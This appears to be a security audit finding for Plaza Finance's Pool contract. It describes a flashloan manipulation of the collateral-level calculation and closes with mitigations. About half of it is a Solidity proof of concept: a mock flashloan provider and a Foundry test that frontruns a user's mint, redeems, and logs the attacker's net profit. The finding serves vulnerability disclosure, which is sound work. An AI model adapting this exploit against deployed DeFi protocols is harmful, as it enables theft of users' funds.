Joyful Taffy Koala

Medium

# #Collateral level Inflation vulnerability

### Summary

The lack of safeguards in Plaza Finance's collateral level computation allows flashloan manipulation, which results in vault undercollateralization. Attackers can exploit the pricing mechanism for **bondETH** and **levETH** by temporarily **inflating** the collateral level with flashloaned tokens, minting these tokens at favorable rates and redeeming  for a net profit. This leaves the vault undercollateralized, harming the protocol and its users.

### Root Cause

The system calculates collateral levels based on the vault's balance at a single moment in time. This design choice doesn’t account for short-term or artificial changes, like those created using flashloans. Because of this, the protocol doesn’t differentiate between genuine deposits and temporary inflations, leaving it open to manipulation.When tokens are minted or redeemed, the collateral level is checked only at the exact time of the transaction.


### Internal Pre-conditions
The price for minting and redeeming tokens is based directly on this one-time calculation, so a brief change in the vault’s state can be exploited.
#https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L306
#https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L477

### External Pre-conditions
The only thing the attacker needs is access to a flashloan, which is easy to get for tokens like wstETH. Everything else is just how the protocol normally works, making this attack possible.

### Attack Path
 the attacker borrows a large amount of wstETH (or another reserve token) using a flashloan from a third-party provider.
The attacker deposits the borrowed wstETH into the Plaza Finance vault, artificially inflating the vault’s collateral level. This temporarily changes the token minting or redemption rates.After the user’s transaction is processed, the attacker takes advantage of the inflated collateral level to mint bondETH or levETH at favorable rates or redeem tokens for more wstETH.The attacker redeems their manipulated tokens or withdraws the artificially inflated wstETH balance from the vault.The attacker repays the flashloan using a portion of the profit and retains the remaining wstETH, leaving the vault undercollateralized and the users at a loss.

### Impact

Users suffer financial losses because their transactions are executed at manipulated rates:
The attacker gains a significant profit at the expense of both the user and the protocol.

### PoC

1.Importing the mock: The MockFlashloanProvider is located in the test/mocks/ folder. Import it to access the flashloan simulation functionality:
```solidity 
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IFlashloanReceiver {
    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external returns (bool);
}

contract MockFlashloanProvider {
    error InsufficientRepayment();

    /**
     * @dev Executes a flashloan.
     * @param receiver Address of the contract implementing the callback function.
     * @param asset Address of the token to loan.
     * @param amount Amount of the asset to loan.
     * @param params Additional data passed to the receiver contract.
     */
    function flashloan(
        address receiver,
        address asset,
        uint256 amount,
        bytes calldata params
    ) external {
        uint256 balanceBefore = IERC20(asset).balanceOf(address(this));
        require(balanceBefore >= amount, "MockFlashloanProvider: Insufficient liquidity");

        // Transfer the loan to the receiver
        IERC20(asset).transfer(receiver, amount);

        // Calculate premium (0.09% of the loan amount)
        uint256 premium = (amount * 9) / 10000;

        // Callback to the receiver's executeOperation function
        require(
            IFlashloanReceiver(receiver).executeOperation(asset, amount, premium, msg.sender, params),
            "MockFlashloanProvider: Callback failed"
        );

        // Ensure repayment
        uint256 balanceAfter = IERC20(asset).balanceOf(address(this));
        if (balanceAfter < balanceBefore + premium) revert InsufficientRepayment();
    }
}

```
2. Add the following code to the test contract **Pool.t.sol**: 
After completing these steps. Run the testFlashloanFrontrunAttack() function.
**forge test --mt testFlashloanFrontrunAttack -vvvv**
```solidity
// Insert these in the test contract for test purposes :
import {MockFlashloanProvider} from "./mocks/MockFlashloanProvider.sol";
Pool public manipulatedPool;
address public attacker = address(0x7);
address public randomUser = address(0x8);

// function to calculate the collateral level of a pool
function calculateCollateralLevel(
    Pool targetPool,
    Token reserveToken,
    uint256 ethPrice,
    uint8 oracleDecimals,
    uint256 bondTargetPrice
) public view returns (uint256) {
    uint256 reserveBalance = reserveToken.balanceOf(address(targetPool));
    uint256 bondSupply = targetPool.bondToken().totalSupply();

    uint256 tvl = (ethPrice * reserveBalance).toBaseUnit(oracleDecimals);

    // Use the collateral level calculation from Pool.sol
    return (tvl * 1000000) / (bondSupply * bondTargetPrice);
}

function testFlashloanFrontrunAttack() public {
    // ---------------------------------------
    // 1. Deploy and fund the flashloan provider
    // ---------------------------------------
    MockFlashloanProvider flashloanProvider = new MockFlashloanProvider();
    Token reserveToken = Token(params.reserveToken);

    // Mint 10k to the governance so they can create a pool
    reserveToken.mint(address(randomUser), 10_000 ether);
    reserveToken.mint(governance, 10_000 ether);
    vm.startPrank(governance);
    reserveToken.approve(address(poolFactory), type(uint256).max);

    // Create an undercollateralized pool: 70 wstETH vs 1800 BOND/200 LEV
   manipulatedPool = Pool(
            poolFactory.createPool(
                params,
                70 ether,
                1800 ether,
                200 ether,
                "",
                "",
                "",
                "",
                false
            )
        );
    vm.stopPrank();

    // Fund the flashloan provider with enough for the loan
    reserveToken.mint(address(flashloanProvider), 30_000 ether);

    uint256 clBeforeFirstFlashloan = calculateCollateralLevel(
        manipulatedPool,
        reserveToken,
        3000 * CHAINLINK_DECIMAL_PRECISION, // We set the price to 3000 USD per wstETH for this test
        CHAINLINK_DECIMAL,                  // We set the oracle decimals to 8 for this test
        100                                 // We set the target price to 100 USD per BOND
    );
    console.log("Collateral level before first flashloan:", clBeforeFirstFlashloan);

    uint256 attackerLoan = 10 ether;
    
    bytes memory data = abi.encode(address(manipulatedPool));

    flashloanProvider.flashloan(
        address(this),
        address(reserveToken),
        attackerLoan,
        data
    );

    uint256 finalBal = reserveToken.balanceOf(address(this));
    require(finalBal > 0, "No profit after repaying the loan!");
}
 
function executeOperation(
    address asset,
    uint256 amount,
    uint256 premium,
    address initiator,
    bytes calldata data
) external returns (bool) 
{
    (address poolAddr) = abi.decode(data, (address));
    Pool localManipulatedPool = Pool(poolAddr);
    Token(asset).approve(poolAddr, amount);

        // We calculate collateral level before and every time we interact with the pool
        uint256 clBeforeCreationOfUsersLeverageAndAttackerBond = calculateCollateralLevel(
            localManipulatedPool,
            Token(asset),
            3000 * CHAINLINK_DECIMAL_PRECISION, 
            CHAINLINK_DECIMAL,
            100
        );
        console.log("Collateral level before creating BOND and Leverage:", clBeforeCreationOfUsersLeverageAndAttackerBond);
        // ----------------------------------------

        // STEP 1: => create(Bond) for attacker , frontrunning the legitimate user
        // ----------------------------------------
        uint256 mintedBond = localManipulatedPool.create(Pool.TokenType.BOND, amount, 0);
        console.log("Minted BOND:", mintedBond);
        uint256 loanPrincipal = amount;
        uint256 loanPremium   = premium;
        console.log("loanPrincipal:", loanPrincipal);
        console.log("loanPremium:", loanPremium);

        uint256 clAfterCreationOfBond = calculateCollateralLevel(
            localManipulatedPool,
            Token(asset),
            3000 * CHAINLINK_DECIMAL_PRECISION, 
            CHAINLINK_DECIMAL,
            100
        );
        console.log("Collateral level after creating BOND:", clAfterCreationOfBond);
        require(clAfterCreationOfBond <= 1200000, "Collateral level too high!");
        
        // STEP 2: => create(LEVERAGE) for randomuser
        // We'll mint 10 ether value LEVERAGE for the random user
        // ----------------------------------------
        
        vm.startPrank(randomUser);
    
        uint256 depositOfUser = 10 ether;
        Token(asset).approve(poolAddr, depositOfUser);
        uint256 mintedLeverageOfUser = localManipulatedPool.create(Pool.TokenType.LEVERAGE, depositOfUser, 0);
        console.log("Minted LEVERAGE of User:", mintedLeverageOfUser);

        vm.stopPrank();

         uint256 clAfterCreationOfLeverageUser = calculateCollateralLevel(
            localManipulatedPool,
            Token(asset),
            3000 * CHAINLINK_DECIMAL_PRECISION, 
            CHAINLINK_DECIMAL,
            100
        );
        console.log("Collateral level after creating LEVERAGE:", clAfterCreationOfLeverageUser);
        require(clAfterCreationOfLeverageUser >= 1200000, "Collateral level too low!");

        // STEP 3: => redeem(LEVERAGE of attacker) for ETH to repay the loan
        // ----------------------------------------
        localManipulatedPool.bondToken().approve(address(localManipulatedPool), mintedBond);
        uint256 redeemedBondValue = localManipulatedPool.redeem(
            Pool.TokenType.BOND,
            mintedBond,
            0
        );
        console.log("Redeemed BOND value:", redeemedBondValue);

         uint256 clAfterBondRedeem = calculateCollateralLevel(
            localManipulatedPool,
            Token(asset),
            3000 * CHAINLINK_DECIMAL_PRECISION, 
            CHAINLINK_DECIMAL,
            100 
        );

        console.log("Collateral level after BOND Redeem:", clAfterBondRedeem);
        require(clAfterBondRedeem >= 1200000, "Collateral level too low! after leverage redeem");

        // ----------------------------------------
        uint256 attackerEthBalance = Token(asset).balanceOf(address(this));
        console.log("Attacker ETH balance:", attackerEthBalance);

        // The amount the attacker needs to repay is the loan principal + loan premium
        uint256 loanRepay = loanPrincipal + loanPremium;
         require(attackerEthBalance >= loanRepay, "Not enough to repay loan!");

        // The attacker has made a profit
        uint256 netProfit = attackerEthBalance - loanRepay;
        console.log("Net profit:", netProfit);

        // Repay the loan
        Token(asset).transfer(msg.sender, loanRepay);
        return true;
    }
 ```

### Mitigation

Implement mechanisms to detect unusually large, short-lived deposits and either flag or restrict them from influencing collateral level calculations.
Require deposits to remain in the vault for a minimum duration (e.g., 1–2 blocks) before they are considered in the collateral level.
